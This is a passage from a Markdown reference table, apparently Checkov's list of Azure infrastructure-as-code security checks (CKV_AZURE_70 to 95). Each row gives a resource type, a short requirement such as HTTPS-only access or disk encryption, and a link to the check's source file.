[FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py)                                                                           |\n| 5750 | CKV_AZURE_70             | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Bicep                   | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py)                                                                           |\n| 5751 | CKV_AZURE_70             | resource                         | azurerm_function_app                                                                             | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Terraform               | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py)                                                               |\n| 5752 | CKV_AZURE_70             | resource                         | azurerm_function_app_slot                                                                        | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Terraform               | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py)                                                               |\n| 5753 | CKV_AZURE_70             | resource                         | azurerm_linux_function_app                                                                       | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Terraform               | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py)                                                               |\n| 5754 | CKV_AZURE_70             | resource                         | azurerm_linux_function_app_slot                                                                  | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Terraform               | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py)                                                               |\n| 5755 | CKV_AZURE_70             | resource                         | azurerm_windows_function_app                                                                     | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Terraform               | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py)                                                               |\n| 5756 | CKV_AZURE_70             | resource                         | azurerm_windows_function_app_slot                                                                | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Terraform               | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py)                                                               |\n| 5757 | CKV_AZURE_71             | resource                         | Microsoft.Web/sites                                                                              | Ensure that Managed identity provider is enabled for web apps                                                                                                                                            | arm                     | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentityProviderEnabled.py)                                                                       |\n| 5758 | CKV_AZURE_71             | resource                         | Microsoft.Web/sites                                                                              | Ensure that Managed identity provider is enabled for web apps                                                                                                                                            | Bicep                   | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentityProviderEnabled.py)                                                                       |\n| 5759 | CKV_AZURE_71             | resource                         | azurerm_app_service                                                                              | Ensure that Managed identity provider is enabled for app services                                                                                                                                        | Terraform               | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py)                                                           |\n| 5760 | CKV_AZURE_71             | resource                         | azurerm_linux_web_app                                                                            | Ensure that Managed identity provider is enabled for app services                                                                                                                                        | Terraform               | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py)                                                           |\n| 5761 | CKV_AZURE_71             | resource                         | azurerm_windows_web_app                                                                          | Ensure that Managed identity provider is enabled for app services                                                                                                                                        | Terraform               | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py)                                                           |\n| 5762 | CKV_AZURE_72             | resource                         | Microsoft.Web/sites                                                                              | Ensure that remote debugging is not enabled for app services                                                                                                                                             | arm                     | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceRemoteDebuggingNotEnabled.py)                                                                   |\n| 5763 | CKV_AZURE_72             | resource                         | Microsoft.Web/sites                                                                              | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Bicep                   | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceRemoteDebuggingNotEnabled.py)                                                                   |\n| 5764 | CKV_AZURE_72             | resource                         | azurerm_app_service                                                                              | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform               | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 5765 | CKV_AZURE_72             | resource                         | azurerm_linux_function_app                                                                       | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform               | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 5766 | CKV_AZURE_72             | resource                         | azurerm_linux_function_app_slot                                                                  | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform               | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 5767 | CKV_AZURE_72             | resource                         | azurerm_linux_web_app                                                                            | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform               | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 5768 | CKV_AZURE_72             | resource                         | azurerm_linux_web_app_slot                                                                       | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform               | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 5769 | CKV_AZURE_72             | resource                         | azurerm_windows_function_app                                                                     | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform               | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 5770 | CKV_AZURE_72             | resource                         | azurerm_windows_function_app_slot                                                                | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform               | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 5771 | CKV_AZURE_72             | resource                         | azurerm_windows_web_app                                                                          | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform               | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 5772 | CKV_AZURE_72             | resource                         | azurerm_windows_web_app_slot                                                                     | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform               | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 5773 | CKV_AZURE_73             | resource                         | Microsoft.Automation/automationAccounts/variables                                                | Ensure that Automation account variables are encrypted                                                                                                                                                   | arm                     | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AutomationEncrypted.py)                                                                                                   |\n| 5774 | CKV_AZURE_73             | resource                         | Microsoft.Automation/automationAccounts/variables                                                | Ensure that Automation account variables are encrypted                                                                                                                                                   | Bicep                   | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AutomationEncrypted.py)                                                                                                   |\n| 5775 | CKV_AZURE_73             | resource                         | azurerm_automation_variable_bool                                                                 | Ensure that Automation account variables are encrypted                                                                                                                                                   | Terraform               | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py)                                                                                       |\n| 5776 | CKV_AZURE_73             | resource                         | azurerm_automation_variable_datetime                                                             | Ensure that Automation account variables are encrypted                                                                                                                                                   | Terraform               | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py)                                                                                       |\n| 5777 | CKV_AZURE_73             | resource                         | azurerm_automation_variable_int                                                                  | Ensure that Automation account variables are encrypted                                                                                                                                                   | Terraform               | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py)                                                                                       |\n| 5778 | CKV_AZURE_73             | resource                         | azurerm_automation_variable_string                                                               | Ensure that Automation account variables are encrypted                                                                                                                                                   | Terraform               | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py)                                                                                       |\n| 5779 | CKV_AZURE_74             | resource                         | Microsoft.Kusto/clusters                                                                         | Ensure that Azure Data Explorer (Kusto) uses disk encryption                                                                                                                                             | arm                     | [DataExplorerUsesDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataExplorerUsesDiskEncryption.py)                                                                             |\n| 5780 | CKV_AZURE_74             | resource                         | Microsoft.Kusto/clusters                                                                         | Ensure that Azure Data Explorer (Kusto) uses disk encryption                                                                                                                                             | Bicep                   | [DataExplorerUsesDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataExplorerUsesDiskEncryption.py)                                                                             |\n| 5781 | CKV_AZURE_74             | resource                         | azurerm_kusto_cluster                                                                            | Ensure that Azure Data Explorer (Kusto) uses disk encryption                                                                                                                                             | Terraform               | [DataExplorerUsesDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataExplorerUsesDiskEncryption.py)                                                                 |\n| 5782 | CKV_AZURE_75             | resource                         | Microsoft.Kusto/clusters                                                                         | Ensure that Azure Data Explorer uses double encryption                                                                                                                                                   | arm                     | [AzureDataExplorerDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDataExplorerDoubleEncryptionEnabled.py)                                                         |\n| 5783 | CKV_AZURE_75             | resource                         | Microsoft.Kusto/clusters                                                                         | Ensure that Azure Data Explorer uses double encryption                                                                                                                                                   | Bicep                   | [AzureDataExplorerDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDataExplorerDoubleEncryptionEnabled.py)                                                         |\n| 5784 | CKV_AZURE_75             | resource                         | azurerm_kusto_cluster                                                                            | Ensure that Azure Data Explorer uses double encryption                                                                                                                                                   | Terraform               | [AzureDataExplorerDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDataExplorerDoubleEncryptionEnabled.py)                                             |\n| 5785 | CKV_AZURE_76             | resource                         | Microsoft.Batch/batchAccounts                                                                    | Ensure that Azure Batch account uses key vault to encrypt data                                                                                                                                           | arm                     | [AzureBatchAccountUsesKeyVaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountUsesKeyVaultEncryption.py)                                                           |\n| 5786 | CKV_AZURE_76             | resource                         | Microsoft.Batch/batchAccounts                                                                    | Ensure that Azure Batch account uses key vault to encrypt data                                                                                                                                           | Bicep                   | [AzureBatchAccountUsesKeyVaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountUsesKeyVaultEncryption.py)                                                           |\n| 5787 | CKV_AZURE_76             | resource                         | azurerm_batch_account                                                                            | Ensure that Azure Batch account uses key vault to encrypt data                                                                                                                                           | Terraform               | [AzureBatchAccountUsesKeyVaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureBatchAccountUsesKeyVaultEncryption.py)                                               |\n| 5788 | CKV_AZURE_77             | resource                         | azurerm_network_security_group                                                                   | Ensure that UDP Services are restricted from the Internet                                                                                                                                                | Terraform               | [NSGRuleUDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleUDPAccessRestricted.py)                                                                         |\n| 5789 | CKV_AZURE_77             | resource                         | azurerm_network_security_rule                                                                    | Ensure that UDP Services are restricted from the Internet                                                                                                                                                | Terraform               | [NSGRuleUDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleUDPAccessRestricted.py)                                                                         |\n| 5790 | CKV_AZURE_78             | resource                         | Microsoft.Web/sites                                                                              | Ensure FTP deployments are disabled                                                                                                                                                                      | arm                     | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceFTPSState.py)                                                                                                   |\n| 5791 | CKV_AZURE_78             | resource                         | Microsoft.Web/sites                                                                              | Ensure FTP deployments are disabled                                                                                                                                                                      | Bicep                   | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceFTPSState.py)                                                                                                   |\n| 5792 | CKV_AZURE_78             | resource                         | azurerm_app_service                                                                              | Ensure FTP deployments are disabled                                                                                                                                                                      | Terraform               | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceFTPSState.py)                                                                                       |\n| 5793 | CKV_AZURE_78             | resource                         | azurerm_linux_web_app                                                                            | Ensure FTP deployments are disabled                                                                                                                                                                      | Terraform               | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceFTPSState.py)                                                                                       |\n| 5794 | CKV_AZURE_78             | resource                         | azurerm_windows_web_app                                                                          | Ensure FTP deployments are disabled                                                                                                                                                                      | Terraform               | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceFTPSState.py)                                                                                       |\n| 5795 | CKV_AZURE_79             | resource                         | Microsoft.Security/pricings                                                                      | Ensure that Azure Defender is set to On for SQL servers on machines                                                                                                                                      | arm                     | [AzureDefenderOnSqlServersVMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnSqlServersVMS.py)                                                                                 |\n| 5796 | CKV_AZURE_79             | resource                         | Microsoft.Security/pricings                                                                      | Ensure that Azure Defender is set to On for SQL servers on machines                                                                                                                                      | Bicep                   | [AzureDefenderOnSqlServersVMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnSqlServersVMS.py)                                                                                 |\n| 5797 | CKV_AZURE_79             | resource                         | azurerm_security_center_subscription_pricing                                                     | Ensure that Azure Defender is set to On for SQL servers on machines                                                                                                                                      | Terraform               | [AzureDefenderOnSqlServerVMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnSqlServerVMS.py)                                                                       |\n| 5798 | CKV_AZURE_80             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that 'Net Framework' version is the latest, if used as a part of the web app                                                                                                                      | arm                     | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDotnetFrameworkVersion.py)                                                                         |\n| 5799 | CKV_AZURE_80             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that 'Net Framework' version is the latest, if used as a part of the web app                                                                                                                      | Bicep                   | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDotnetFrameworkVersion.py)                                                                         |\n| 5800 | CKV_AZURE_80             | resource                         | azurerm_app_service                                                                              | Ensure that 'Net Framework' version is the latest, if used as a part of the web app                                                                                                                      | Terraform               | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDotnetFrameworkVersion.py)                                                             |\n| 5801 | CKV_AZURE_80             | resource                         | azurerm_windows_web_app                                                                          | Ensure that 'Net Framework' version is the latest, if used as a part of the web app                                                                                                                      | Terraform               | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDotnetFrameworkVersion.py)                                                             |\n| 5802 | CKV_AZURE_81             | resource                         | Microsoft.Web/sites                                                                              | Ensure that 'PHP version' is the latest, if used to run the web app                                                                                                                                      | arm                     | [AppServicePHPVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePHPVersion.py)                                                                                                 |\n| 5803 | CKV_AZURE_81             | resource                         | Microsoft.Web/sites                                                                              | Ensure that 'PHP version' is the latest, if used to run the web app                                                                                                                                      | Bicep                   | [AppServicePHPVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePHPVersion.py)                                                                                                 |\n| 5804 | CKV_AZURE_81             | resource                         | azurerm_app_service                                                                              | Ensure that 'PHP version' is the latest, if used to run the web app                                                                                                                                      | Terraform               | [AppServicePHPVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePHPVersion.py)                                                                                     |\n| 5805 | CKV_AZURE_82             | resource                         | Microsoft.Web/sites                                                                              | Ensure that 'Python version' is the latest, if used to run the web app                                                                                                                                   | arm                     | [AppServicePythonVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePythonVersion.py)                                                                                           |\n| 5806 | CKV_AZURE_82             | resource                         | Microsoft.Web/sites                                                                              | Ensure that 'Python version' is the latest, if used to run the web app                                                                                                                                   | Bicep                   | [AppServicePythonVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePythonVersion.py)                                                                                           |\n| 5807 | CKV_AZURE_82             | resource                         | azurerm_app_service                                                                              | Ensure that 'Python version' is the latest, if used to run the web app                                                                                                                                   | Terraform               | [AppServicePythonVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePythonVersion.py)                                                                               |\n| 5808 | CKV_AZURE_83             | resource                         | Microsoft.Web/sites                                                                              | Ensure that 'Java version' is the latest, if used to run the web app                                                                                                                                     | arm                     | [AppServiceJavaVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceJavaVersion.py)                                                                                               |\n| 5809 | CKV_AZURE_83             | resource                         | Microsoft.Web/sites                                                                              | Ensure that 'Java version' is the latest, if used to run the web app                                                                                                                                     | Bicep                   | [AppServiceJavaVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceJavaVersion.py)                                                                                               |\n| 5810 | CKV_AZURE_83             | resource                         | azurerm_app_service                                                                              | Ensure that 'Java version' is the latest, if used to run the web app                                                                                                                                     | Terraform               | [AppServiceJavaVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceJavaVersion.py)                                                                                   |\n| 5811 | CKV_AZURE_84             | resource                         | Microsoft.Security/pricings                                                                      | Ensure that Azure Defender is set to On for Storage                                                                                                                                                      | arm                     | [AzureDefenderOnStorage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnStorage.py)                                                                                             |\n| 5812 | CKV_AZURE_84             | resource                         | Microsoft.Security/pricings                                                                      | Ensure that Azure Defender is set to On for Storage                                                                                                                                                      | Bicep                   | [AzureDefenderOnStorage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnStorage.py)                                                                                             |\n| 5813 | CKV_AZURE_84             | resource                         | azurerm_security_center_subscription_pricing                                                     | Ensure that Azure Defender is set to On for Storage                                                                                                                                                      | Terraform               | [AzureDefenderOnStorage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnStorage.py)                                                                                 |\n| 5814 | CKV_AZURE_85             | resource                         | Microsoft.Security/pricings                                                                      | Ensure that Azure Defender is set to On for Kubernetes                                                                                                                                                   | arm                     | [AzureDefenderOnKubernetes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKubernetes.py)                                                                                       |\n| 5815 | CKV_AZURE_85             | resource                         | Microsoft.Security/pricings                                                                      | Ensure that Azure Defender is set to On for Kubernetes                                                                                                                                                   | Bicep                   | [AzureDefenderOnKubernetes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKubernetes.py)                                                                                       |\n| 5816 | CKV_AZURE_85             | resource                         | azurerm_security_center_subscription_pricing                                                     | Ensure that Azure Defender is set to On for Kubernetes                                                                                                                                                   | Terraform               | [AzureDefenderOnKubernetes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnKubernetes.py)                                                                           |\n| 5817 | CKV_AZURE_86             | resource                         | azurerm_security_center_subscription_pricing                                                     | Ensure that Azure Defender is set to On for Container Registries                                                                                                                                         | Terraform               | [AzureDefenderOnContainerRegistry.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnContainerRegistry.py)                                                             |\n| 5818 | CKV_AZURE_87             | resource                         | Microsoft.Security/pricings                                                                      | Ensure that Azure Defender is set to On for Key Vault                                                                                                                                                    | arm                     | [AzureDefenderOnKeyVaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKeyVaults.py)                                                                                         |\n| 5819 | CKV_AZURE_87             | resource                         | Microsoft.Security/pricings                                                                      | Ensure that Azure Defender is set to On for Key Vault                                                                                                                                                    | Bicep                   | [AzureDefenderOnKeyVaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKeyVaults.py)                                                                                         |\n| 5820 | CKV_AZURE_87             | resource                         | azurerm_security_center_subscription_pricing                                                     | Ensure that Azure Defender is set to On for Key Vault                                                                                                                                                    | Terraform               | [AzureDefenderOnKeyVaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnKeyVaults.py)                                                                             |\n| 5821 | CKV_AZURE_88             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that app services use Azure Files                                                                                                                                                                 | arm                     | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceUsedAzureFiles.py)                                                                                         |\n| 5822 | CKV_AZURE_88             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that app services use Azure Files                                                                                                                                                                 | Bicep                   | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceUsedAzureFiles.py)                                                                                         |\n| 5823 | CKV_AZURE_88             | resource                         | azurerm_app_service                                                                              | Ensure that app services use Azure Files                                                                                                                                                                 | Terraform               | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py)                                                                             |\n| 5824 | CKV_AZURE_88             | resource                         | azurerm_linux_web_app                                                                            | Ensure that app services use Azure Files                                                                                                                                                                 | Terraform               | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py)                                                                             |\n| 5825 | CKV_AZURE_88             | resource                         | azurerm_windows_web_app                                                                          | Ensure that app services use Azure Files                                                                                                                                                                 | Terraform               | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py)                                                                             |\n| 5826 | CKV_AZURE_89             | resource                         | Microsoft.Cache/redis                                                                            | Ensure that Azure Cache for Redis disables public network access                                                                                                                                         | arm                     | [RedisCachePublicNetworkAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/RedisCachePublicNetworkAccessEnabled.py)                                                                 |\n| 5827 | CKV_AZURE_89             | resource                         | Microsoft.Cache/redis                                                                            | Ensure that Azure Cache for Redis disables public network access                                                                                                                                         | Bicep                   | [RedisCachePublicNetworkAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/RedisCachePublicNetworkAccessEnabled.py)                                                                 |\n| 5828 | CKV_AZURE_89             | resource                         | azurerm_redis_cache                                                                              | Ensure that Azure Cache for Redis disables public network access                                                                                                                                         | Terraform               | [RedisCachePublicNetworkAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCachePublicNetworkAccessEnabled.py)                                                     |\n| 5829 | CKV_AZURE_91             | resource                         | azurerm_redis_cache                                                                              | Ensure that only SSL are enabled for Cache for Redis                                                                                                                                                     | Terraform               | [RedisCacheEnableNonSSLPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCacheEnableNonSSLPort.py)                                                                         |\n| 5830 | CKV_AZURE_92             | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure that Virtual Machines use managed disks                                                                                                                                                           | arm                     | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMStorageOsDisk.py)                                                                                                           |\n| 5831 | CKV_AZURE_92             | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure that Virtual Machines use managed disks                                                                                                                                                           | Bicep                   | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMStorageOsDisk.py)                                                                                                           |\n| 5832 | CKV_AZURE_92             | resource                         | azurerm_linux_virtual_machine                                                                    | Ensure that Virtual Machines use managed disks                                                                                                                                                           | Terraform               | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMStorageOsDisk.py)                                                                                               |\n| 5833 | CKV_AZURE_92             | resource                         | azurerm_windows_virtual_machine                                                                  | Ensure that Virtual Machines use managed disks                                                                                                                                                           | Terraform               | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMStorageOsDisk.py)                                                                                               |\n| 5834 | CKV_AZURE_93             | resource                         | Microsoft.Compute/disks                                                                          | Ensure that managed disks use a specific set of disk encryption sets for the customer-managed key encryption                                                                                             | arm                     | [AzureManagedDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiskEncryptionSet.py)                                                                               |\n| 5835 | CKV_AZURE_93             | resource                         | Microsoft.Compute/disks                                                                          | Ensure that managed disks use a specific set of disk encryption sets for the customer-managed key encryption                                                                                             | Bicep                   | [AzureManagedDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiskEncryptionSet.py)                                                                               |\n| 5836 | CKV_AZURE_93             | resource                         | azurerm_managed_disk                                                                             | Ensure that managed disks use a specific set of disk encryption sets for the customer-managed key encryption                                                                                             | Terraform               | [AzureManagedDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureManagedDiskEncryptionSet.py)                                                                   |\n| 5837 | CKV_AZURE_94             | resource                         | Microsoft.DBforMySQL/flexibleServers                                                             | Ensure that My SQL server enables geo-redundant backups                                                                                                                                                  | arm                     | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLGeoBackupEnabled.py)                                                                                               |\n| 5838 | CKV_AZURE_94             | resource                         | Microsoft.DBforMySQL/flexibleServers                                                             | Ensure that My SQL server enables geo-redundant backups                                                                                                                                                  | Bicep                   | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLGeoBackupEnabled.py)                                                                                               |\n| 5839 | CKV_AZURE_94             | resource                         | azurerm_mysql_flexible_server                                                                    | Ensure that My SQL server enables geo-redundant backups                                                                                                                                                  | Terraform               | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLGeoBackupEnabled.py)                                                                                   |\n| 5840 | CKV_AZURE_94             | resource                         | azurerm_mysql_server                                                                             | Ensure that My SQL server enables geo-redundant backups                                                                                                                                                  | Terraform               | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLGeoBackupEnabled.py)                                                                                   |\n| 5841 | CKV_AZURE_95             | resource                         | Microsoft.Compute/virtualMachineScaleSets                                                        | Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets                                                                                                                        | arm                     | [VMScaleSetsAutoOSImagePatchingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMScaleSetsAutoOSImagePatchingEnabled.py)                                                               |\n| 5842 | CKV_AZURE_95             | resource                         | 